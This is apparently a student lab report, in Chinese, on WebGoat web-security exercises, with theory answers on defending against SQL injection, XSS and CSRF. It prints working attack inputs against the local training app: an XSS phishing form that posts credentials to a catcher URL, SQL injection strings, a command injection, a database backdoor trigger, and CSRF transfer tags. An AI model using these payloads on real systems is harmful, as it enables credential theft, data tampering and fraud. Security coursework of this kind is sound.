20155227《网络对抗》Exp9 Web安全基础实践
20155227《网络对抗》Exp9 Web安全基础实践
实验内容
- 关于WebGoat
- Cross-Site Scripting(XSS)练习
- Injection Flaws练习
- CSRF攻击
基础问题回答
- SQL注入攻击原理,如何防御?
原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。
防御:
1.对用户的输入进行校验,可以通过正则表达式,双"-"进行转换等。
2.不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示。
6.采取辅助软件或网站平台来检测sql注入。
- XSS攻击的原理,如何防御?
原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
防御:
1.特征匹配方式,在所有提交的信息中都进行匹配检查,一般会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
2.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
3.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
- CSRF攻击原理,如何防御?
原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
防御:
1.在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
2.“双提交”cookie。某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域。
3.用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
实验过程记录
1.WebGoat
-
开启webgoat,首先要下载java包,打开WebGoat:
java -jar webgoat-container-7.0.1-war-exec.jar
-
在浏览器上访问
localhost:8080/WebGoat
,登录。
2.XSS攻击
(1)Phishing with XSS
- 这个题目我们要在搜索框中输入XSS攻击代码:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单,然后输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:
(2)Reflected XSS 反射型XSS攻击
在code
框中输入<script>alert("I am 20155227gyl");</script>
(3)Stored XSS Attacks
- 题目要求:要创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
- 直接在
title
里随便输入,然后在message
中输入一串代码,比如:<script>alert("5227!");</script>
提交后,再次点击刚刚创建的帖子,成功弹出窗口,说明攻击成功!
3.Injection Flaws
(1)Command Injection
- 题目要求能够在目标主机上执行系统命令,我发现可以通过火狐浏览器下的一个扩展
Firebug
对源代码进行修改,例如在BackDoors.help旁边加上& netstat -an & ipconfig
- 选中修改后的值再点
view
,可以看到命令被执行,出现系统网络连接情况:
(2)Numeric SQL Injection
- 这个题大概意思是这个表单允许使用者看到天气数据,利用
SQL注入
使得可以看见所有数据。 - 进行SQL注入在
station
字段注入特征字符,以组合成新的SQL语句,SELECT * FROM weather_data WHERE station = [station]
,要获得所有的天气数据,就在station
中的任意一个值后面加入一个1=1
,由于1=1为永真式,选择所修改的value
所指向的城市,就可以得到所有的天气。
(3)Log Spoofing
这道题大概意思是说,我们输入的用户名会被追加到日志文件中。所以我们可以使用障眼法来使用户名为“admin”
的用户在日志中显示“成功登录”,例如在User Name
文本框中输入gyl%0d%0aLogin Succeeded for username: admin
,其中%0d
是回车,%0a
是换行符:
(4)LAB:SQL Injection
Stage 1:String SQL Injection
- 题目要求:使用字符串SQL注入在没有正确密码的情况下登录账号
boss
。 - 在密码栏中输入
' or 1=1
--进行SQL注入
,但是登录失败。 - 查看源代码,去掉对输入长度的限制,登录成功。
Stage 3:Numeric SQL Injection
- 题目要求:通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户
larry
,浏览其BOSS
的账户信息。首先我们用上一题的办法登录Larry
的账号!在密码框里输入' or 1=1 --
,登录后发现我们只能看见Larry
一个人的工资信息。
- 浏览员工信息的按钮是
ViewProfile
.在网页代码中分析一下这个按钮,发现这个地方是以员工ID
作为索引传递参数的,我们要达到通过Larry
来浏览老板账户信息的目的,把其中的value
值改为101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一个:
(5)String SQL Injection
- 这个表单允许使用者查询他们的信用卡号,使用
SQL注入
让所有的信用卡号都看得见。 - 我们构造一个永真式“1”,那么不管前面的
WHERE
是否成立都能执行,所以构造语句'or 1='1
,成功得到了全部的信用卡号。
(6)Blind Numeric SQL Injection
- 题目要求是得到一个存放在
pins
表中值pin
的内容,行号cc_number=1111222233334444
,是一个int型
的数据。
然后使用BurpSuite
进行拦截,拦截后action--send to intruder
进行暴力破解,使用sniper
模式,选择10000
进行数字爆破(选择前先clear
将默认的爆破点清除),从1到10000,步长为1。可以发现2364
的报文长度明显和其他不一样,那这个值就应该就是2364
:
(7)Database Backdoors
- 先输入示例101进行尝试,得到了该用户的信息。
- 观察发现输入的语句不进行验证,于是我们输入语句:
101; update employee set salary=10000
成功将该用户的工资变成10000
,攻击成功:
- 输入语句
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155227@hackme.com' WHERE userid = NEW.userid
- 表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱。
4.CSRF攻击
(1)Cross Site Request Forgery
- 题目要求:需要写一个
URL
诱使其他用户点击,从而触发CSRF攻击
,我们可以以图片的的形式将URL
放进Message框
,这时的URL
对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF
事件。 - 查看自己电脑的
Screen和menu
的值:
-
然后在
message
里面输入<img src="http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=转账金额"/>
就会发出一个转钱的请求,盗取钱财。提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的钱,达到CSRF
攻击的目的。 -
提交后生成一个链接
20155227
- 点击即可查看用户操作的信息:
(2)CSRF Prompt By-Pass
- 这个就是利用CSRF进行冒名操作转账,不过这次包括了两个请求,一是转账请求,二是确认转账成功请求,即需要额外传递两个参数给服务器(transferFunds=4000,transferFunds=CONFIRM)。
- 查看页面右边
Parameters中的src和menu值
,并在title
框中输入学号,message
框中输入代码:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
- 接下来的操作同上一题。
- 但是左边没有显示成功的√,所以在浏览器里输入
localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000
进入确认转账请求页面:
点击CONFIRM
按钮之后,再在浏览器中输入URL:localhost:8080/WebGoat/attack?Screen=266&menu=900&transferFunds=CONFIRM
,成功转走了5000元:
实验体会
本次实验真的很艰难呀,主要是之前环境一直不对,尝试了很久之后才决定直接拷一个虚拟机。开始实验之后发现本次实验的内容全是英文,真的很崩溃……但是通过在Webgoat
上的实践,我学会了SQL注入攻击
、XSS攻击
和CSRF攻击
的一些小套路,也算小有收获吧。